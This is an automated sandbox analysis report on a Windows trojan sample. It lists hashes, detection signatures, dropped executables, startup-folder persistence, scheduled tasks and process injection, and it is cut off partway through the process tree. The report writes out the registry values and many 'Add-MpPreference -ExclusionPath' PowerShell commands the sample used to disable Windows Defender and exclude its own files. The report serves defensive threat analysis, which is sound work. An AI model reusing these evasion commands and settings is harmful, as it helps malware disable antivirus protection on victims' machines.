cd706f1f829de6745dbbbd89ee6297eacd015b18d2705dfa0ff89b6f9290467a

Analysis

max time kernel
10s
max time network
149s
platform
windows10_x64
resource
win10v20210410
submitted
01/06/2021, 00:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
1B76FA2E5D3E1A4F55BA0BB9EB8728A1.exe
Size 1.0MB
Sample210601-5e2gvdep86
SHA256 cd706f1f829de6745dbbbd89ee6297eacd015b18d2705dfa0ff89b6f9290467a
MD5 1b76fa2e5d3e1a4f55ba0bb9eb8728a1
SHA1 d56fe98044662b21b12e716b340c5b74ca5c5e4b
SHA512 759d68f84c6a20802b373020d65f2551fab62bc9112c878fa03695e3ceb4ba368fe77551cb4f2fafe4bb37a0c193522346c6b77daf728f57c62a6a1c442edeef
MD5 SHA1 SHA512

Score

10^/10

evasion trojan

Malware Config

Signatures

Turns off Windows Defender SpyNet reporting 2 TTPs
evasion

Disabling Security Tools
T1089

Modify Registry
T1112
Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112

Nirsoft 24 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab72-147.dat	Nirsoft
behavioral2/files/0x000100000001ab6f-150.dat	Nirsoft
behavioral2/files/0x000100000001ab75-152.dat	Nirsoft
behavioral2/files/0x000100000001ab72-153.dat	Nirsoft
behavioral2/files/0x000100000001ab6f-154.dat	Nirsoft
behavioral2/files/0x000100000001ab6f-160.dat	Nirsoft
behavioral2/files/0x000100000001ab75-161.dat	Nirsoft
behavioral2/files/0x000100000001ab72-159.dat	Nirsoft
behavioral2/files/0x000100000001ab75-155.dat	Nirsoft
behavioral2/files/0x000200000001ab76-257.dat	Nirsoft
behavioral2/files/0x000100000001ab7a-256.dat	Nirsoft
behavioral2/files/0x000200000001ab76-276.dat	Nirsoft
behavioral2/files/0x000200000001ab76-280.dat	Nirsoft
behavioral2/files/0x000100000001ab7f-284.dat	Nirsoft
behavioral2/files/0x000100000001ab7f-287.dat	Nirsoft
behavioral2/files/0x000100000001ab7a-274.dat	Nirsoft
behavioral2/files/0x000100000001ab7a-270.dat	Nirsoft
behavioral2/files/0x000100000001ab7f-267.dat	Nirsoft
behavioral2/files/0x000400000001ab78-359.dat	Nirsoft
behavioral2/files/0x000400000001ab78-360.dat	Nirsoft
behavioral2/files/0x000400000001ab78-361.dat	Nirsoft
behavioral2/files/0x000100000001ab82-365.dat	Nirsoft
behavioral2/files/0x000100000001ab82-367.dat	Nirsoft
behavioral2/files/0x000100000001ab82-368.dat	Nirsoft

Executes dropped EXE 12 IoCs

pid	Process
2472	Qlbuwbpsqf.exe
2748	Ekpldojge.exe
348	Sthz.exe
2140	AdvancedRun.exe
3984	AdvancedRun.exe
2288	AdvancedRun.exe
2420	AdvancedRun.exe
3784	AdvancedRun.exe
4100	AdvancedRun.exe
4604	6D50xbBfc1c8am56Raeyfd90ah8fEwc.exe
4700	aw9e7zI9aa1f8fH2dbde4F19a4if.exe
2444	7Wa3tbeb04Gaz1bBq5198183RN1p1f056L5ef1dPd84w5x5c1.exe

Drops startup file 6 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6D50xbBfc1c8am56Raeyfd90ah8fEwc.exe	Qlbuwbpsqf.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7Wa3tbeb04Gaz1bBq5198183RN1p1f056L5ef1dPd84w5x5c1.exe	Sthz.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7Wa3tbeb04Gaz1bBq5198183RN1p1f056L5ef1dPd84w5x5c1.exe	Sthz.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aw9e7zI9aa1f8fH2dbde4F19a4if.exe	Ekpldojge.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aw9e7zI9aa1f8fH2dbde4F19a4if.exe	Ekpldojge.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6D50xbBfc1c8am56Raeyfd90ah8fEwc.exe	Qlbuwbpsqf.exe

Windows security modification 2 TTPs 18 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	Qlbuwbpsqf.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	Qlbuwbpsqf.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	Qlbuwbpsqf.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6D50xbBfc1c8am56Raeyfd90ah8fEwc.exe = "0"	Qlbuwbpsqf.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions	Qlbuwbpsqf.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Qlbuwbpsqf.exe = "0"	Qlbuwbpsqf.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Ekpldojge.exe = "0"	Ekpldojge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Real-Time Protection	Qlbuwbpsqf.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet	Qlbuwbpsqf.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe = "0"	Qlbuwbpsqf.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Sthz.exe = "0"	Sthz.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7Wa3tbeb04Gaz1bBq5198183RN1p1f056L5ef1dPd84w5x5c1.exe = "0"	Sthz.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet\SubmitSamplesConsent = "0"	Qlbuwbpsqf.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aw9e7zI9aa1f8fH2dbde4F19a4if.exe = "0"	Ekpldojge.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Resources\Themes\Sn183Gzra1GfPFG806O88r543WcE3L1a044vs3b4w51rwpo\svchost.exe = "0"	Sthz.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet\SpyNetReporting = "0"	Qlbuwbpsqf.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	Qlbuwbpsqf.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe = "0"	Ekpldojge.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe	Ekpldojge.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
8432	schtasks.exe
10952	schtasks.exe
11184	schtasks.exe
20240	schtasks.exe

Delays execution with timeout.exe 6 IoCs

evasion

pid	Process
19220	timeout.exe
12196	timeout.exe
20456	timeout.exe
2660	timeout.exe
9256	timeout.exe
7500	timeout.exe

Suspicious behavior: EnumeratesProcesses 44 IoCs

pid	Process
2140	AdvancedRun.exe
2140	AdvancedRun.exe
2140	AdvancedRun.exe
2140	AdvancedRun.exe
3984	AdvancedRun.exe
3984	AdvancedRun.exe
3984	AdvancedRun.exe
3984	AdvancedRun.exe
2288	AdvancedRun.exe
2288	AdvancedRun.exe
2288	AdvancedRun.exe
2288	AdvancedRun.exe
2420	AdvancedRun.exe
2420	AdvancedRun.exe
2420	AdvancedRun.exe
2420	AdvancedRun.exe
3784	AdvancedRun.exe
3784	AdvancedRun.exe
3784	AdvancedRun.exe
3784	AdvancedRun.exe
4100	AdvancedRun.exe
4100	AdvancedRun.exe
4100	AdvancedRun.exe
4100	AdvancedRun.exe
4232	powershell.exe
4232	powershell.exe
4244	powershell.exe
4244	powershell.exe
4264	powershell.exe
4264	powershell.exe
4276	powershell.exe
4276	powershell.exe
4336	powershell.exe
4336	powershell.exe
4356	powershell.exe
4356	powershell.exe
4440	powershell.exe
4440	powershell.exe
4636	powershell.exe
4636	powershell.exe
4740	powershell.exe
4740	powershell.exe
4824	powershell.exe
4824	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	2140	AdvancedRun.exe
Token: SeImpersonatePrivilege	2140	AdvancedRun.exe
Token: SeDebugPrivilege	3984	AdvancedRun.exe
Token: SeImpersonatePrivilege	3984	AdvancedRun.exe
Token: SeDebugPrivilege	2288	AdvancedRun.exe
Token: SeImpersonatePrivilege	2288	AdvancedRun.exe
Token: SeDebugPrivilege	2420	AdvancedRun.exe
Token: SeImpersonatePrivilege	2420	AdvancedRun.exe
Token: SeDebugPrivilege	3784	AdvancedRun.exe
Token: SeImpersonatePrivilege	3784	AdvancedRun.exe
Token: SeDebugPrivilege	4100	AdvancedRun.exe
Token: SeImpersonatePrivilege	4100	AdvancedRun.exe
Token: SeDebugPrivilege	4232	powershell.exe
Token: SeDebugPrivilege	4244	powershell.exe
Token: SeDebugPrivilege	4264	powershell.exe
Token: SeDebugPrivilege	4276	powershell.exe
Token: SeDebugPrivilege	4336	powershell.exe
Token: SeDebugPrivilege	4356	powershell.exe
Token: SeDebugPrivilege	4440	powershell.exe
Token: SeDebugPrivilege	4636	powershell.exe
Token: SeDebugPrivilege	4740	powershell.exe
Token: SeDebugPrivilege	4824	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2204 wrote to memory of 2472	2204	1B76FA2E5D3E1A4F55BA0BB9EB8728A1.exe	76
PID 2204 wrote to memory of 2472	2204	1B76FA2E5D3E1A4F55BA0BB9EB8728A1.exe	76
PID 2204 wrote to memory of 2472	2204	1B76FA2E5D3E1A4F55BA0BB9EB8728A1.exe	76
PID 2204 wrote to memory of 2748	2204	1B76FA2E5D3E1A4F55BA0BB9EB8728A1.exe	77
PID 2204 wrote to memory of 2748	2204	1B76FA2E5D3E1A4F55BA0BB9EB8728A1.exe	77
PID 2204 wrote to memory of 2748	2204	1B76FA2E5D3E1A4F55BA0BB9EB8728A1.exe	77
PID 2204 wrote to memory of 348	2204	1B76FA2E5D3E1A4F55BA0BB9EB8728A1.exe	78
PID 2204 wrote to memory of 348	2204	1B76FA2E5D3E1A4F55BA0BB9EB8728A1.exe	78
PID 2204 wrote to memory of 348	2204	1B76FA2E5D3E1A4F55BA0BB9EB8728A1.exe	78
PID 2748 wrote to memory of 2140	2748	Ekpldojge.exe	79
PID 2748 wrote to memory of 2140	2748	Ekpldojge.exe	79
PID 2748 wrote to memory of 2140	2748	Ekpldojge.exe	79
PID 2472 wrote to memory of 3984	2472	Qlbuwbpsqf.exe	80
PID 2472 wrote to memory of 3984	2472	Qlbuwbpsqf.exe	80
PID 2472 wrote to memory of 3984	2472	Qlbuwbpsqf.exe	80
PID 348 wrote to memory of 2288	348	Sthz.exe	81
PID 348 wrote to memory of 2288	348	Sthz.exe	81
PID 348 wrote to memory of 2288	348	Sthz.exe	81
PID 2140 wrote to memory of 2420	2140	AdvancedRun.exe	82
PID 2140 wrote to memory of 2420	2140	AdvancedRun.exe	82
PID 2140 wrote to memory of 2420	2140	AdvancedRun.exe	82
PID 3984 wrote to memory of 3784	3984	AdvancedRun.exe	83
PID 3984 wrote to memory of 3784	3984	AdvancedRun.exe	83
PID 3984 wrote to memory of 3784	3984	AdvancedRun.exe	83
PID 2288 wrote to memory of 4100	2288	AdvancedRun.exe	85
PID 2288 wrote to memory of 4100	2288	AdvancedRun.exe	85
PID 2288 wrote to memory of 4100	2288	AdvancedRun.exe	85
PID 2472 wrote to memory of 4232	2472	Qlbuwbpsqf.exe	89
PID 2472 wrote to memory of 4232	2472	Qlbuwbpsqf.exe	89
PID 2472 wrote to memory of 4232	2472	Qlbuwbpsqf.exe	89
PID 2748 wrote to memory of 4244	2748	Ekpldojge.exe	88
PID 2748 wrote to memory of 4244	2748	Ekpldojge.exe	88
PID 2748 wrote to memory of 4244	2748	Ekpldojge.exe	88
PID 2472 wrote to memory of 4264	2472	Qlbuwbpsqf.exe	92
PID 2472 wrote to memory of 4264	2472	Qlbuwbpsqf.exe	92
PID 2472 wrote to memory of 4264	2472	Qlbuwbpsqf.exe	92
PID 2748 wrote to memory of 4276	2748	Ekpldojge.exe	91
PID 2748 wrote to memory of 4276	2748	Ekpldojge.exe	91
PID 2748 wrote to memory of 4276	2748	Ekpldojge.exe	91
PID 2748 wrote to memory of 4336	2748	Ekpldojge.exe	95
PID 2748 wrote to memory of 4336	2748	Ekpldojge.exe	95
PID 2748 wrote to memory of 4336	2748	Ekpldojge.exe	95
PID 2472 wrote to memory of 4356	2472	Qlbuwbpsqf.exe	93
PID 2472 wrote to memory of 4356	2472	Qlbuwbpsqf.exe	93
PID 2472 wrote to memory of 4356	2472	Qlbuwbpsqf.exe	93
PID 2472 wrote to memory of 4440	2472	Qlbuwbpsqf.exe	99
PID 2472 wrote to memory of 4440	2472	Qlbuwbpsqf.exe	99
PID 2472 wrote to memory of 4440	2472	Qlbuwbpsqf.exe	99
PID 2748 wrote to memory of 4512	2748	Ekpldojge.exe	124
PID 2748 wrote to memory of 4512	2748	Ekpldojge.exe	124
PID 2748 wrote to memory of 4512	2748	Ekpldojge.exe	124
PID 2472 wrote to memory of 4524	2472	Qlbuwbpsqf.exe	101
PID 2472 wrote to memory of 4524	2472	Qlbuwbpsqf.exe	101
PID 2472 wrote to memory of 4524	2472	Qlbuwbpsqf.exe	101
PID 2472 wrote to memory of 4604	2472	Qlbuwbpsqf.exe	123
PID 2472 wrote to memory of 4604	2472	Qlbuwbpsqf.exe	123
PID 2472 wrote to memory of 4604	2472	Qlbuwbpsqf.exe	123
PID 2748 wrote to memory of 4636	2748	Ekpldojge.exe	106
PID 2748 wrote to memory of 4636	2748	Ekpldojge.exe	106
PID 2748 wrote to memory of 4636	2748	Ekpldojge.exe	106
PID 2748 wrote to memory of 4700	2748	Ekpldojge.exe	103
PID 2748 wrote to memory of 4700	2748	Ekpldojge.exe	103
PID 2748 wrote to memory of 4700	2748	Ekpldojge.exe	103
PID 2472 wrote to memory of 4740	2472	Qlbuwbpsqf.exe	105

C:\Users\Admin\AppData\Local\Temp\1B76FA2E5D3E1A4F55BA0BB9EB8728A1.exe
"C:\Users\Admin\AppData\Local\Temp\1B76FA2E5D3E1A4F55BA0BB9EB8728A1.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2204
- C:\Users\Admin\AppData\Local\Temp\Qlbuwbpsqf.exe
  "C:\Users\Admin\AppData\Local\Temp\Qlbuwbpsqf.exe"
  2⤵
  - Executes dropped EXE
  - Drops startup file
  - Windows security modification
  - Suspicious use of WriteProcessMemory
  PID:2472
- - C:\Users\Admin\AppData\Local\Temp\d5d75044-8681-42c0-9a74-14c5dbf1b066\AdvancedRun.exe
    "C:\Users\Admin\AppData\Local\Temp\d5d75044-8681-42c0-9a74-14c5dbf1b066\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\d5d75044-8681-42c0-9a74-14c5dbf1b066\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3984
  - - C:\Users\Admin\AppData\Local\Temp\d5d75044-8681-42c0-9a74-14c5dbf1b066\AdvancedRun.exe
      "C:\Users\Admin\AppData\Local\Temp\d5d75044-8681-42c0-9a74-14c5dbf1b066\AdvancedRun.exe" /SpecialRun 4101d8 3984
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3784
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Qlbuwbpsqf.exe" -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4232
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Qlbuwbpsqf.exe" -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4264
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6D50xbBfc1c8am56Raeyfd90ah8fEwc.exe" -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4356
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6D50xbBfc1c8am56Raeyfd90ah8fEwc.exe" -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4440
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Qlbuwbpsqf.exe" -Force
    3⤵
    PID:4524
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4740
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
    3⤵
    PID:5096
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Qlbuwbpsqf.exe" -Force
    3⤵
    PID:4924
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6D50xbBfc1c8am56Raeyfd90ah8fEwc.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6D50xbBfc1c8am56Raeyfd90ah8fEwc.exe"
    3⤵
    - Executes dropped EXE
    PID:4604
  - - C:\Users\Admin\AppData\Local\Temp\36a5f7a9-770f-4484-b043-2c6abaa0c22d\AdvancedRun.exe
      "C:\Users\Admin\AppData\Local\Temp\36a5f7a9-770f-4484-b043-2c6abaa0c22d\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\36a5f7a9-770f-4484-b043-2c6abaa0c22d\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
      4⤵
      PID:5792
    - - C:\Users\Admin\AppData\Local\Temp\36a5f7a9-770f-4484-b043-2c6abaa0c22d\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\36a5f7a9-770f-4484-b043-2c6abaa0c22d\AdvancedRun.exe" /SpecialRun 4101d8 5792
        5⤵
        
        PID:5888
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6D50xbBfc1c8am56Raeyfd90ah8fEwc.exe" -Force
      4⤵
      PID:6348
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
      4⤵
      PID:6564
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6D50xbBfc1c8am56Raeyfd90ah8fEwc.exe" -Force
      4⤵
      PID:6440
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
      4⤵
      PID:6836
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6D50xbBfc1c8am56Raeyfd90ah8fEwc.exe" -Force
      4⤵
      PID:6696
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
      4⤵
      PID:8864
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6D50xbBfc1c8am56Raeyfd90ah8fEwc.exe" -Force
      4⤵
      PID:1808
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
      4⤵
      PID:2200
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6D50xbBfc1c8am56Raeyfd90ah8fEwc.exe" -Force
      4⤵
      PID:9920
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
      4⤵
      PID:9752
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
      4⤵
      PID:10024
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
      4⤵
      PID:10812
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6D50xbBfc1c8am56Raeyfd90ah8fEwc.exe" -Force
      4⤵
      PID:10904
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
      4⤵
      PID:10940
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
      4⤵
      PID:12888
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6D50xbBfc1c8am56Raeyfd90ah8fEwc.exe" -Force
      4⤵
      PID:12916
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
      4⤵
      PID:12960
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
      4⤵
      PID:7280
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6D50xbBfc1c8am56Raeyfd90ah8fEwc.exe" -Force
      4⤵
      PID:12740
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
      4⤵
      PID:14388
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6D50xbBfc1c8am56Raeyfd90ah8fEwc.exe" -Force
      4⤵
      PID:13916
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
      4⤵
      PID:15604
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6D50xbBfc1c8am56Raeyfd90ah8fEwc.exe" -Force
      4⤵
      PID:15432
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
      4⤵
      PID:15268
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
      4⤵
      PID:12756
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
      4⤵
      PID:13336
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
